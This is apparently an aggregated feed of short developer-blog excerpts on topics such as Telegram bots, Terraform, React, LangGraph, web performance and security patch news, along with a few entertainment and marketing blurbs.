    I built a Telegram bot that automatically detects and handles duplicate messages (spam), promotional messages, and blacklisted keywords; logs every action; tracks infractions in Redis; and provides a clean admin surface (planned) for whitelist and keyword management. It runs on Node + TypeScript, uses Telegraf for Telegram, PostgreSQL for persistent data, and Redis for fast infra counters. This article is a detailed, step by step breakdown of the problem, architecture, implementation, testing, monitoring, and deployment. It’s written as a technical case study so you and other engineers can reproduce, audit, or extend the system. Table of contents Why I built this Goals & constraints Tech stack High-level architecture (diagram) Data model (schema.sql) Core modules — explanation + code snip…  ( 12 min )
    AlphaFold et confidentialité des chatbots : réguler l’IA tout en protégeant les utilisateurs
    AlphaFold et confidentialité des chatbots : quand la biologie computationnelle rencontre la vie privée AlphaFold et confidentialité des chatbots (AlphaFold, prédiction de structures protéiques) s'imposent désormais au cœur des débats technologiques. Alors que l'intelligence artificielle gagne en puissance, les innovations comme AlphaFold fascinent et inquiètent. De plus, les chatbots compagnons collectent des données sensibles, parfois sans transparence. Par conséquent, les risques de fuite ou de mauvaise utilisation augmentent. Cependant, l'enjeu n'est pas uniquement technique mais aussi éthique. En effet, combiner modèles biologiques et agents conversationnels soulève des questions de sécurité des données. Cela concerne aussi la propriété intellectuelle et le consentement. Ainsi, cet a…  ( 11 min )
    Series-1 What do you understand by Imbalanced Data?
    Imbalanced data means the classes in your dataset are not represented equally. One category has a lot of samples, while the other has very few. For example, imagine a medical dataset where 95% of patients are healthy and only 5% have a rare disease, that’s clearly imbalanced. The issue is that models trained on such data tend to learn the “easy pattern,” which is predicting the majority class every time. This makes the accuracy look high, but the model is actually useless for detecting the minority class, which is often the most important one. To handle this, I use techniques like oversampling the minority class (SMOTE), undersampling the majority class, using class-weighted algorithms, or choosing models that naturally handle imbalance better. I also focus more on metrics like F1-score, recall, and precision rather than plain accuracy. In my experience, dealing with imbalance is less about forcing the data to look “perfect” and more about making sure the model pays attention to what truly matters. A little extra care here can dramatically improve real-world predictions, especially when the minority class carries the real risk or value.  ( 6 min )
    Production-Ready-Features-Complete-Solution-from-Development-to-Deployment
    GitHub Home A recent enterprise-level system project made me deeply realize that a truly production-ready framework should provide complete solutions for the entire application lifecycle. My recent experience with hyperlane framework showed me the concrete embodiment of ideal production-ready features. That was in a distributed e-commerce system where we needed to handle high-concurrency user requests while ensuring system stability and observability. The system required 7x24 uninterrupted operation, where any single deployment failure could cause huge business losses. In the early stages of the project, we used traditional deployment solutions. After development completion, we needed to manually write complex deployment scripts, including environment configuration, service startup, health…  ( 9 min )
    Hello DEV community, I've been creating a programming language. If you want to know more about it, enter this post and also check out the other posts in the series, which are also about MAWA
    MAWA💻 - The programming language of the future Samuel Leonardo ・ Oct 20 #programming #beginners #webdev #codenewbie  ( 9 min )
    Creating My First S3 Bucket with Terraform.
    Today marks Day 3 of my 30 Days of AWS Terraform Challenge, and it was the day things started feeling real. Instead of just reading about providers, blocks, and installation steps, I finally deployed an actual AWS resource using Terraform: an S3 bucket. It was a simple task, but seeing infrastructure appear from code felt like a solid step forward. Setting up the project inside IntelliJ Since I’m working on Windows 11, my setup process is different from the typical Linux workflow. I use IntelliJ IDEA, which makes everything neater and easier to manage. Here’s how I prepared my workspace: Opened IntelliJ Right-clicked the project explorer → New → Directory Named the folder day 03 Inside it, I created a new file:main.tf IntelliJ automatically formatted the Terraform file and handled indent…  ( 7 min )
    Grading Security Fixes: MiniMax M2 vs. Kimi K2 (Thinking) vs. GLM-4.6
    After testing frontier models on security vulnerabilities, a reader asked: "Why not test open-weight models?" So we ran MiniMax M2, Kimi K2 Thinking, and GLM-4.6 against three vulnerabilities: a payment race condition, JWT algorithm confusion, and an FFmpeg command injection to see how they compare. A Reader Asked Why Not Test Open-Weight Models Testing Methodology We selected three open-weight models from our leaderboard: MiniMax M2 from MiniMax Kimi K2 Thinking from Moonshot AI GLM-4.6 from Z.ai We ran all tests in Kilo Code on the same base Node.js project (TypeScript + Hono) with all required dependencies pre-installed. For each vulnerability, we created a single file containing only the vulnerable code and prompted the model: "Fix this security vulnerability," without descri…  ( 11 min )
    8 Simple Tips For Testing Payment Gateway Integrations
    Your payment integration just went live. Everything worked perfectly in staging. Then, when real users started transacting, they were unsuccessful. Customers can't complete purchases, support tickets flood in, and your business starts losing revenue. This is a situation you don’t want to find yourself in, and you won’t if you test your payment gateway properly. Failed payments cost businesses $118.5 billion annually, according to this 2020 report, and most failures could have been caught with proper testing of your payment processor integration. Unlike bugs that frustrate users, payment failures directly cost you money and trust. This guide shows you how to test payment integrations properly. You'll learn the payment gateway test cases that matter for cards, bank transfers, and mobile mone…  ( 12 min )
    Вэбийн хариу үйлдлийн хэмжүүр
    🖱️ INP гэж юу вэ? Та вэб хуудсан дээр дарж үзээд, юу ч болоогүй мэт санагдсан тохиолдол бий юу? Энэ хоцролт нь хэрэглэгчийн туршлагад шууд нөлөөлдөг бөгөөд Interaction to Next Paint (INP) хэмээх хэмжүүрээр хэмжигддэг. INP нь хэрэглэгчийн харилцан үйлдэл (жишээ нь: товшилт, товч даралт) хийгдсэнээс хойш браузер дэлгэцийг дараагийн удаа шинэчлэх хүртэлх хугацааг хэмждэг. Бага INP → Хуудас илүү хариу үйлдэлтэй, хурдан санагдана. Их INP → Хэрэглэгчид хуудас удаан, хариу өгөхгүй мэт санагдана. Хэрэв INP өндөр байвал хэрэглэгчид бухимдаж, хуудсыг орхих магадлал нэмэгдэнэ. Харин INP-г оновчтой болговол хэрэглэгчид цаг тухайд нь хариу авч, туршлага нь сайжирна. Chrome DevTools Web Performance API Эдгээр хэрэгслүүд нь хэрэглэгчийн харилцан үйлдлийн хоцролтыг хэмжихэд тусална. 🧹 Main thread дээрх ажлыг багасгах ⚡ Event handler -уудыг оновчтой болгох 🎨 Хэрэглэгчийн үйлдэл бүрийг шуурхай визуал шинэчлэлт рүү холбох Таныг интернэт банкны хуудас руу орж, “Гүйлгээ хийх” товчийг дарахад юу ч өөрчлөгдөхгүй мэт санагдаж, 2–3 секунд хүлээх тохиолдол гарч байсан уу? Энэ хугацаанд: Та дахин дарж үздэг Эсвэл буцаад хуудаснаас гардаг Зарим тохиолдолд гүйлгээ давхар хийгддэг Энэ бол INP өндөр байгаагийн үр дагавар юм. Хэрэглэгчийн харилцан үйлдэл (товшилт) хийгдсэн ч дэлгэц дээр визуал хариу (жишээ нь: “Гүйлгээ хийгдэж байна…” гэсэн анимаци) удаан гарч ирдэг . “Гүйлгээ хийх” товч дарагдахад шууд ачааллаж буй анимаци гаргах Арын процесс удаан байлаа ч визуал хариу өгч , хэрэглэгчийг тайвшруулах Event handler-ийг оновчтой болгож, main thread дээрх ажлыг багасгах Дүгнэлт INP-г ойлгож, оновчтой болгох нь вэб туршлагыг хурдан, хариу үйлдэлтэй болгох гол түлхүүр юм. Хэрэглэгчид бухимдахгүй, харин сэтгэл ханамжтайгаар таны вэбийг ашиглах болно.  ( 6 min )
    I tested the top 3 AI coding models on real engineering problems. The results surprised me.
    Over the last week, three of the biggest coding-focused AI models dropped almost back to back: Claude Opus 4.5 GPT-5.1 Gemini 3.0 Pro Everyone has been posting charts, benchmarks, and SWE-bench numbers. Those do not tell me much about how these models behave when dropped into a real codebase with real constraints, real logs, real edge cases, and real integrations. So I decided to test them in my own system. I took the exact same two engineering problems from my observability platform and asked each model to implement them directly inside my repository. No special prep, no fine-tuning, no scaffolding. Just: "Here is the context. Build it." This is what happened. TL;DR — Quick Results Model Total Cost Time What It's Good For Gemini 3 Pro $0.25 Fastest (~5–6m) Fast prototyping, creativ…  ( 9 min )
    Maintenance Release 0.55.0 of the GitHub Action for Checking Spelling
    A quick maintenance release for the GitHub Action for Checking Spelling was made yesterday. The other day the repository got a new issue which requested enabling of use of large Aspell dictionaries. The GitHub action however is just a wrapper for PySpelling so I sent the user in that direction, also because this was something I believe was more in the realm of PySpelling than the GitHub Action. Not long after a new release of PySpelling (2.12.1) was made, so I reopened the issue, since I needed to update the action with the new release to meet the need of the user and the original request and it was easier to keep track of the request this way. Later the user wrote to me: Thanks! I’m amazed at how quickly the guy over at PySpelling made the change and release. Hmmmmm... I decided to step my game up and luckily I had an window of opportunity, so I made the release numbered 0.55.0 which contains an update of the core component PySpelling from version 2.12.1. At this time I am not sure how the Aspell setting for large dictionaries is enabled/configured, I have not been able to find any documentation on this, but at least the action is aligned with the core component - I hope this works out for the user. Change log for: 0.55.0 Via an issue #293 from @shoverbj, an update to the core component PySpelling from version 2.12.0 to version 2.12.1 was made, this allows for use of large dictionaries with Aspell  ( 6 min )
    Stop Writing Plugins Like It’s 2011: Modern Architecture Guide
    🌟 Modern Dataverse Plugin Architecture (2025 Edition) A Clean, Testable, Maintainable, and DI-Friendly Template for Power Platform Developers A complete, ready-to-use architecture template you can drop into your next Dataverse / Dynamics 365 project. Most Dataverse plugins still follow the old 2011 pattern: Logic inside Execute() Hard-coded field names No testability Zero separation of concerns Hard to extend Not reusable outside plugins Difficult to maintain This article gives you a modern, scalable, testable plugin architecture with: ✔ Clean separation ✔ Supports multi-project structure ✔ Minimal DI (no heavy libraries) ✔ Test-friendly ✔ Reusable in Azure Functions / Custom APIs ✔ NuGet-based plugin deployment ✔ No system-specific logic ✔ Perfect as a starter templ…  ( 14 min )
    The One MCP That Turns Antigravity Into a 500-Tool Powerhouse
    Google recently released Gemini 3, Nano Banana Pro and its agentic IDE Antigravity, and it's exploding in popularity. AI, Builders & Business community are hyping it up like crazy. But when it comes to tools, it's limited. Though one can add MCPs for use cases, it's hectic to connect every applications MCP servers manually So, what if one has an MCP that you configure once, and it connects to 500+ products at once while intelligently figuring out which MCP tools and methods are needed? Enter Rube, a universal MCP & in this short blog, let's see how you can use it to supercharge your AI-assisted development. Rube MCP plugs into Antigravity once and instantly unlocks hundreds of tools without the annoying manual MCP wiring. You can automate code reviews and send off clean summaries straight…  ( 17 min )
    Don't Just Guess, Measure: A Deep Dive into the Web Performance API
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* As developers, we work on powerful machines with fiber-optic internet connections. On "localhost:3000", everything feels blazing fast. Then we deploy. Suddenly, a user on a shaky 4G connection in a rural area tries to load our beautiful, JavaScript-heavy masterpiece. They are greeted not by our stunning hero image, but by the dreaded "Blank White Screen of Death," followed by a spinner that spins for so long it starts contemplating the meaning of life. Performance isn't just about getting a high Lighthouse score to impress your boss.…  ( 11 min )
    Introducing Appearances: A Simpler Way to Dynamically Style Mapbox Map Icons
    Mapbox maps just got a major usability upgrade with the new appearances functionality, making it easier than ever to change icon images based on user interaction—without the verbose, error-prone workarounds of the past. This screen capture shows appearances in action, displaying different icons for four distinct feature states: default icon feature hovered feature selected feature was previously selected Appearances allow you to define how a symbol layer's icons should change in response to changes in feature state (the ability to set state on specific features on a map). The appearances layer property contains one or more appearance objects defining layout properties like icon-image and the conditions on which to apply them. For example, the following symbol layer defaults to using the i…  ( 8 min )
    Java copySign() Method: Your Guide to Sign Manipulation
    Java copySign() Method: Finally, Take Control of Your Number's Sign Alright, let's talk about one of those "hidden gem" methods in Java that doesn't get the spotlight it deserves. We're diving deep into Math.copySign(). Ever been in a situation where you have a number, and you need its magnitude (the value without the sign) but with the sign of another number? If you've ever tried to do this manually with if conditions and multiplication, you know it's clunky. It's one of those things that makes your code look... well, a bit amateurish. That's where Java's copySign() method swoops in to save the day. It’s a simple, elegant, and powerful tool for manipulating the signs of floating-point numbers. In this post, we're not just going to scratch the surface. We're going to break it down, see i…  ( 11 min )
    How Vibe Coding Changed my Development Workflow
    Intro In this article, I walk through the process of building Phantom Pulse, highlighting how I used AI tools for planning and development. I share insights from exploring the LLM landscape, as well as the mistakes I made along the way. At the end of the article, I provide feedback and links to each tool I used, along with a brief explanation of my classification. Phantom Pulse (with AI?) After being unexpectedly fired for the first time, I went to a remote location in Portugal's interior to relax for a bit and decide what I was going to do next. I was at a crossroads I had never been before—unemployed, with no immediate projects on my plate, and with no general sense of what lay ahead. Instead of dwelling on setbacks, I decided to make the most of my unexpected free time by experiment…  ( 14 min )
    Java String Ceiling: What It Is & How to Implement It | CoderCrafter
    Java String Ceil(): The Method That Doesn't Exist (And How to Build Your Own ) You instinctively type "someText".ceil() and... nothing. Your IDE stares back at you with a red squiggly line of disapproval. Wait, what? There's no ceil() method for strings in Java? You're not going crazy. It's true. The Math.ceil() method is a legend for rounding up numbers, but its string counterpart is a ghost—it simply doesn't exist in the standard library. So, what do you do when you genuinely need that kind of logic for text? That's exactly what we're diving into today. We're not just going to tell you it's missing; we're going to build it from scratch, explore why you'd need it, and drop some serious knowledge on best practices. Feeling stuck on core Java concepts? To learn professional software devel…  ( 11 min )
    Amazon Quick Suite : Quick Flow and Quick Research
    REQUIREMENTS : AWS account, you can sign up/sign in here Amazon Quick Suite : Integration and Extension blog, you can see this blog A. Amazon Quick Suite : Quick Flow PROBLEM : Manual check CV screening need more time, human bias (name, gender, age) then unfair decision and CV format are different. SOLUTION : Automated CV screening system that extracts candidate information, scores against job requirements, and conditionally sends interview questions to Slack and interview email to Gmail OR rejection email based on scoring criteria. STEP-BY-STEP : Open "Flow" in the Quick Suite console. Select "Generate" or "Create a blank flow". Use "Generate" if creating a flow using prompt and use "Create a blank flow" if creating a flow from scratch. In this tutorial, click "Generate". Wait a few…  ( 8 min )
    🚀 From Scattered Scripts to Product Hunt Launch: My Journey Building the Professional Automation Toolkit
    🚀 From Scattered Scripts to Product Hunt Launch: My Journey Building the Professional Automation Toolkit 🌱 The Beginning Six months ago, I was staring at a folder full of chaos: 30+ automation scripts scattered across directories. They were useful in isolation, but together they felt like nonsense—no consistent CLI patterns, no error handling, no documentation, and no way to chain them into something bigger. I knew there was potential, but I didn’t know how to turn it into a product. Instead of abandoning the work, I decided to treat it like a professional system. Every script became part of a larger architecture: 6 production‑ready tools: Cookie Analysis Suite, Video Enhancement Suite, PathPulse, Windows Feature Manager, Web Automation Framework, ADB Automation Framew…  ( 7 min )
    Nested Checkox - React Interview
    // App.js (React, CodeSandbox-ready) // Nested checkboxes with parent/child sync and indeterminate states. import React from "react"; // ----- Sample tree data ----- const tree = { id: "a", label: "A", children: [ { id: "a1", label: "A1" }, { id: "a2", label: "A2", children: [ { id: "a21", label: "A2.1" }, { id: "a22", label: "A2.2" }, ], }, ], }; // ----- Utilities ----- function visit(node, fn) { fn(node); node.children?.forEach((c) => visit(c, fn)); } function initState(root) { const s = {}; visit(root, (n) => { s[n.id] = { checked: false, indeterminate: false }; }); return s; } function setSubtree(node, checked, state) { state[node.id] = { checked, indeterminate: false }; node.children?.forEach((child)…  ( 7 min )
    My Journey From No-Code to Real Product Design
    My Journey From No-Code to Real Product Design When I first started building things, I wasn’t writing code. I began with no-code tools — simple drag-and-drop platforms that helped me bring ideas to life without touching a text editor. And looking back, that phase was more important than I realized. This is the story of how no-code gave me the confidence to create, and how that journey slowly pushed me toward UI design, and eventually into real development. The No-Code Curiosity At the beginning, all I wanted was to build something that worked. Webflow, Bubble, Glide, Notion databases — these tools felt magical. I could build: Landing pages Simple dashboards Forms Mini web apps Automations …all without typing a single line of code. And here’s the truth: no-code didn’t limit me — it unlocked me. How pages connect How components repeat How data flows What makes a UI feel “clean” vs “cluttered” How users navigate Before writing code, I learned how to design with intention. Here are the biggest takeaways: 1️⃣ No-code is not “lesser” — it’s training wheels for product thinking 2️⃣ Design becomes easier when you’ve built things yourself 3️⃣ Moving to code becomes natural once you know why you’re building 4️⃣ Your first goal shouldn’t be to become a “developer” It should be: solve a problem beautifully.  ( 7 min )
    Vue tricks: smart layouts for VueJS
    Mastering layouts in Vue.js is a milestone that separates beginners from intermediate developers. When you first start, you likely wrap every page in a and component. It works, but it’s repetitive and destroys component state every time you navigate. This guide explores "Smart Layouts", a set of patterns that make your Vue application more maintainable, performant, and capable of advanced behaviors like persistent state (think Spotify’s audio player that doesn't stop when you change pages). Most developers start here. As expert Vue.js developers know, you create a DefaultLayout.vue and manually wrap every single page content with it Home Page The Problem: Home to About, t…  ( 8 min )
    useState in React Hook
    updating the screen: import { useState } from 'react'; your component to “remember” some information and display it. function MyButton() { const [count, setCount] = useState(0); initial state of count is 0 if you change the state use setCount function MyButton() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Clicked {count} times ); } when you click the button the current state is updated using the setCount is increased. Hook: export default function MyApp() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Counters that update together ); } the button is clicked upadted the state count together.use the information pass down this is called props. function MyButton({ count, onClick }) { return ( Clicked {count} times ); } count and onclick is a props of parents component it is pass the button. The new count value is passed as a prop to each button, so they all show the new value. This is called “lifting state up”  ( 6 min )
    Explore Private Plane Charter Benefits With First Book Never Miss
    Traveling by air can be stressful. Long check-ins, security lines, and delays often make trips exhausting. For those who value time, comfort, and convenience, private plane charter is an ideal solution. Anmar Aviation, a trusted provider in Australia, offers a range of private aviation services that cater to business, government, and personal travel needs. From corporate charter flights to luxury private jets, there are many benefits to choosing private plane travel. One of the main advantages of private plane charter is flexibility. Unlike commercial flights, you set your schedule. This is particularly useful for FIFO charter operations, where workers need to travel quickly to remote mining or construction sites. Instead of relying on commercial airline schedules, flights can depart when …  ( 8 min )
    Ringer Movies: The Robert Redford Hall of Fame
    The Robert Redford Hall of Fame finds Sean Fennessey and Amanda Dobbins joined by Tracy Letts as they celebrate Redford’s illustrious career, share personal connections to his iconic performances, and collaboratively build a bespoke Hall of Fame for the legendary actor. From his breakthrough roles to his directorial ventures, no stone is left unturned in this lively deep-dive. Produced by Jack Sanders with research by Brantley Palmer, this engaging episode blends insider anecdotes, spirited debate, and genuine fan appreciation, making it a must-listen for anyone who’s ever been captivated by Redford’s screen magic. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a cheeky rundown of every nitpick in the movie. The usual suspects (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) sling their sin counters and witty quips, making this one of their most fun videos yet. Want more? Swing by cinemasins.com, hit up their Linktree for all the socials, join their Discord or Reddit, take the sinful poll, and consider backing them on Patreon for extra behind-the-scenes goodness. Watch on YouTube  ( 6 min )
    Hacking B2B Trust: The Engineer's Playbook for High-Impact Video Testimonials
    As engineers, we live in a world of logic, APIs, and elegant code. We build products that solve complex problems. But how do you solve the problem of trust at scale? You can't just write a function generateTrust(). Or can you? This is where video testimonials come in. Think of them as your 'Trust API'—a powerful, authentic way to show potential customers that your product actually delivers. Forget fluffy marketing speak. This is about engineering social proof. Here's the playbook to get it done, from crafting the right questions to a DIY production stack that won't make you want to rm -rf /. In B2B tech, the sales cycle is long and the stakes are high. Your buyers are technical, skeptical, and do their research. A well-executed video testimonial does three things a datasheet can't: Builds…  ( 9 min )
    [Boost]
    How I Built an F1 Top-Down Racer in 48 Hours Anthony Tambrin ・ Nov 23 #devlog #webdev #gamedev  ( 5 min )
    Prose Linting for Technical Teams: What Grammarly Can’t Do
    As your content volume grows, you'll quickly realize that Grammarly alone isn't enough to maintain content quality at scale, regardless of whether you're a solo technical writer or part of a team. Creating high quality technical content requires that you maintain several quality standards. You need to check that the content actually solves the problem, uses inclusive language, avoids passive voice, and doesn't contain vague advice, among other things. Using Grammarly with checklists is a manual process that becomes time-consuming and error-prone as you scale output. You might decide to hire more technical writers to meet the content demands, but now you'll have to deal with a new problem. Multiple writers introduce inconsistent styles and more opportunities for human error. That's why comp…  ( 9 min )
    Zero-Click SEO in 2026: Winning When Nobody Clicks Your Links
    Google answered the user's question right there in the search results. Again. Your perfectly optimized article sits at position #1, but the click-through rate? A depressing 8%. Because why would anyone click when Google's AI Overview just served up your best insights in a tidy little box at the top of the page? Welcome to zero-click SEO, where winning means losing traffic. Or does it? Look, the data is pretty clear at this point. Roughly 57% of mobile searches and 53% of desktop searches end without a click to any website. That number has been climbing steadily since 2019, and with Google's AI Overviews expanding throughout 2024 and 2025, we're not going back to the good old days when people actually visited websites. (Remember when we complained about position #2? Simpler times.) But here…  ( 13 min )
    The Role of a Brand Marketing Agency in Building Customer Trust
    In today’s fast-moving digital world, customers don’t just look for good products — they look for brands they can trust. Trust has become one of the strongest factors that influence buying decisions, loyalty, and long-term business growth. This is exactly where a brand marketing agency plays an important role. At First Click Media Group, we help businesses create strong, meaningful connections with their audience through strategic branding and performance-driven marketing. Let’s explore how a brand marketing agency helps build customer trust and why it matters in the modern marketplace. Before a customer buys from you, they ask one key question: “Can I trust this brand?” In a world full of choices, ads, and online noise, trust becomes a competitive advantage. When trust is strong, customer…  ( 8 min )
    Unlocking AI's Inner Geometry: Scale-Agnostic Structures in Neural Networks
    Unlocking AI's Inner Geometry: Scale-Agnostic Structures in Neural Networks Ever wonder why a neural network trained on cat pictures can suddenly recognize dogs? Or why some models generalize so well to unseen data while others fail spectacularly? The secret may lie in the hidden geometric structures spontaneously forming within the network itself. The core idea is that, during training, neural networks don't just learn weights and biases; they sculpt a complex mathematical landscape – a kind of high-dimensional manifold – that represents the relationships between data points. This manifold exhibits a specific mathematical property: a multi-scale structure. Imagine a fractal: zoom in, zoom out, and you still see the same repeating pattern. Neural networks appear to exhibit similar behav…  ( 7 min )
    portfolio
    My New Portfolio – Built in One Weekend with Google AI Studio ✨ Live Demo: https://portfolio-react-2025-64ir.vercel.app/ A clean, fast, fully responsive developer portfolio built with React + Vite + Tailwind CSS. Features I’m really proud of: Smooth scroll & animated section reveals Dark/light mode toggle (saved in localStorage) Animated skill bars & typing effect in the hero Projects grid with live preview hover cards Working contact form (Formspree) Fully mobile-friendly I’ve been putting off rebuilding my portfolio for months… until I tried Google AI Studio this weekend. In less than 48 hours (seriously), I went from zero to a complete, deployed, professional-looking portfolio. I just described what I wanted in normal sentences, and Gemini wrote perfect, production-ready React code — component by component. Every time I said “make it smoother” or “add this small animation”, it delivered instantly. I’m not exaggerating when I say this is the most impressive tool I’ve ever used as a developer. It didn’t just save time — it made the entire process actually fun. Thank you DEV.to and Google for this track. I finally have a portfolio I’m excited to share! Live link again: https://portfolio-react-2025-64ir.vercel.app/ GoogleAIStudio #DEVCommunity #ReactJS #WebDev #Portfolio  ( 6 min )
    Microsoft Fixes 57 Vulnerabilities in Latest Patch Tuesday
    What is Patch Tuesday? Why Patch Tuesday Matters for Cybersecurity? How Patch Tuesday Works? Microsoft’s Patch Tuesday is a monthly event where the tech giant releases security updates to address vulnerabilities in its software. These updates are critical for protecting systems from cyberattacks and ensuring the safety of user data. Patch Tuesday is a cornerstone of Microsoft’s cybersecurity strategy, helping users stay ahead of emerging threats. Microsoft’s Latest Patch Tuesday: Key Highlights 57 Security Flaws Addressed: Breakdown of Vulnerability Severity: Most Critical Vulnerabilities Fixed: In March 2025, Microsoft released its Patch Tuesday update, addressing 57 security flaws, with additional third-party vulnerabilities bringing the total closer to 70. Amon…  ( 8 min )
    Efficiently Converting Word Documents to HTML in Java
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    Free Up Your C: Drive: Move WSL2 and Docker Desktop to Another Drive
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    Nathbrok — Encrypted Messaging, File Storage & Business Communications Platform
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    From Callback Hell to Async Heaven: A Crystal-Clear Guide to JavaScript Promises
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    Terraform state file and Remote backend
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    Using n8n to Automate LinkedIn Outreach (Without Getting Banned)
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    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
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    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    TL;DR Disney’s golden streak has hit a rough patch—blockbusters like Marvel and Star Wars aren’t connecting, and new originals like Wish and Elio are barely making a ripple. But hey, Disney’s always had its flops, so to celebrate the glorious trainwrecks, we’re rolling out a mini-series on four epic live-action disasters. First up: 2010’s The Sorcerer’s Apprentice—nickelodeon-style magic, Nicolas Cage going full Cage and, uh, a giant bird? It’s the Caravan of Garbage kickoff you never knew you needed. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    John Carter – Caravan Of Garbage Disney’s in a bit of a slump right now: the Marvel and Star Wars juggernauts aren’t hitting like they used to, and new titles like Wish and Elio are barely making a ripple. But hey, Disney’s had its fair share of flops before, so buckle up as over the next few weeks we dive into four colossal live-action disasters—kicking things off with 2010’s The Sorcerer’s Apprentice, starring Nic Cage, magic mishaps, and… a giant bird? This is a slice of The Weekly Planet’s chaos, so expect plenty of banter plus plugs for bonus podcasts, merch, social handles, Patreon goodies and more. If you want extended audio editions, behind-the-scenes chatter or just to join the circus, they’ve got you covered at bigsandwich.co, YouTube, Apple Podcasts and all the usual haunts. Watch on YouTube  ( 6 min )
    Configure Veeam Backup for Microsoft 365: A Step-by-Step Guide
    Configure Veeam Backup for Microsoft 365 1. Launch the Veeam Console: Open the Veeam Backup for Microsoft 365 console from the Start Menu. Connect to Microsoft 365: Go to Organizations > Add Organization. Select the type of Microsoft 365 deployment (e.g., Modern or Legacy Authentication). Follow the wizard to authorize Veeam to access your Microsoft 365 tenant Create Backup Jobs: Navigate to Backup Jobs > Add Job. Select the organization, users, and workloads (Exchange, OneDrive, SharePoint, Teams) to include in the backup. Define the schedule, retention policy, and repository. Run Initial Backup: In conclusion, safeguarding your Microsoft 365 data is essential to ensure business continuity and minimize downtime in the event of disruptions. By implementing a robust backup solution like Veeam Backup for Microsoft 365, you can gain peace of mind knowing your critical information is always protected. Don’t wait until it’s too late – prioritize your data security with a reliable backup solution today!  ( 6 min )
    Top Microsoft CSP Partners in Pakistan: Get More for Less
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    LangGraph for Beginners: A Complete Guide
    What you'll learn: How to build AI agent systems with LangGraph — from basic concepts to working code. We'll create an article-writing pipeline with multiple AI agents that collaborate, review each other's work, and iterate until the result is perfect. Before diving into LangGraph, it's essential to understand what a graph is in programming. Imagine a subway map: Stations are the nodes Lines between stations are the edges Typical Graph: Subway Map (Analogy): [A] [Victory Square] │ │ ▼ ▼ [B]───────►[C] [October]───►[Kupala] │ │ ▼ ▼ [D] …  ( 20 min )
    Data Egress is the Silent Cloud Killer: 3 VPC Tricks to Cut Your AWS Bill Now
    Ever stared at your AWS bill, specifically the "Data Transfer Out" section, and felt a cold dread creep in? You’re not alone. Many development teams, after successfully migrating their applications to the cloud, get blindsided by an unexpected and rapidly escalating cost: data egress fees. It's the silent killer of cloud budgets, often overlooked until it’s too late. You meticulously plan for compute, storage, and database costs, but then your team celebrates a smooth launch, only to realize the application is bleeding money with every byte that leaves an AWS region or crosses an Availability Zone (AZ). This isn't just about reducing costs; it's about optimizing your architecture to avoid unnecessary expenses that can literally bankrupt a project or slow down critical scaling initiatives. …  ( 14 min )
    How to build a team grid section with a cta card using Tailwind CSS
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    In mobile application debugging and online troubleshooting, app HTTPS packet capture is a fundamental skill for identifying network, authentication, and encryption issues. When encountering problems such as "unable to capture packets," "HTTPS handshake failure," or "request inconsistency with the server," engineers should troubleshoot in the order of network layer → TLS layer → application layer, and flexibly combine proxy tools, low-level packet capture, and data export methods. Below, we provide actionable processes, common commands, tool responsibilities, and an alternative packet capture solution Sniffmaster, explaining how to use tools to complete a full analysis chain with practical feature points. I. First Define the Goal: What to Capture and Where II. Tool Responsibilities and Comb…  ( 8 min )
    Convert Numbers to Text or Numeric Text to Numbers in Excel Using Java
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    The best base for a motorhome is fiberglass. The material consists of fiberglass impregnated with polyester or epoxy resin.Because of its unique structure, fiberglass combines lightness, strength, durability, and high resistance to adverse external effects.Primary features of fiberglass include:High strength at minimal thickness.Thus, a 2 mm fiberglass sheet matches or sometimes exceeds the strength of 6 mm plywood.Resistance to dampness and rapid temperature changes.The material resists moisture, does not rot, swell or crack when heated.Ability to fabricate complex and bent elements.Compared to plywood and MDF, fiberglass easily forms any curves and shapes, enabling ergonomic shower trays, rounded furniture edges, and custom parts.Light body mass. Such weight reduction helps decrease the …  ( 9 min )
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    Understanding the Brighter Pipeline
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    ERC 8004 and Trustless AI Agents
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    [JCAIGC]Get image entrance/exit animation list
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    How to install Gambas in Raspberry Pi?
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    [JCAIGC]Get draft file list
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    [JCAIGC]Get the duration of audio files
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    [JCAIGC]Submit video generation task
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    [JCAIGC]Add multiple types of material content
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    [JCAIGC]Create a new CapCut draft
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    [JCAIGC]Batch add video materials
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    [JCAIGC]Create rich text styles
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    7 AI Tools Developers Are Using to Compress Years of Skill Growth
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    Telegraphic Semantic Compression (TSC) - A Semantic Compression Method for LLM Contexts
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    A Murder in the Park… and the Silent Killer Inside Your Engineering Culture
    One quiet morning, a group of kids were playing in a park — sunshine, laughter, zero responsibilities. 🏞️ Nothing unusual. Nothing dangerous. Then one kid suddenly yelled: “GUYS… this tree is bleeding!” Chaos. Screaming. Kids running everywhere. 😱 Parents rushed toward the tree and noticed freshly disturbed soil. A suspicious mound. Something felt wrong. Soon, the police arrived with tape, flashlights, tools, and heavy looks. Then came the shocking truth: A young woman had been murdered and buried under the tree. A horrifying discovery in a place meant for innocence. But this story has a strange parallel inside tech teams. Different setting. Same pattern. Same ending. On your product floor, the story starts quietly too. A junior dev spots a weird log at 3 PM. Unexpected error Str…  ( 8 min )
    A Year of Elegance & Craft: Celebrating The Bag Maker's Workroom Anniversary
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    When Terraform Parallel Execution Becomes a Nightmare
    I recently worked on an infrastructure deployment using Terraform + Azure, and I hit a problem that made my head spin for hours. Everything in my code looked logically perfect, yet the deployment kept failing. Only later I discovered that it was not a “code issue” but a dependency issue and it taught me a valuable Terraform lesson. Let me share that journey, so nobody else loses hours like I did. I was provisioning multiple resources using Terraform, including: Azure Redis Cache Azure App Service, which needed the Redis connection string as an environment variable On paper, the flow looked simple: Create Redis → get connection string → use it in App Service But reality had other plans. Whenever I ran terraform apply, the Redis creation started… As a result: Error: Redis endpoint not found …  ( 7 min )
    MySQL HeatWave: Read Replicas for Scaling Read-Heavy Workloads
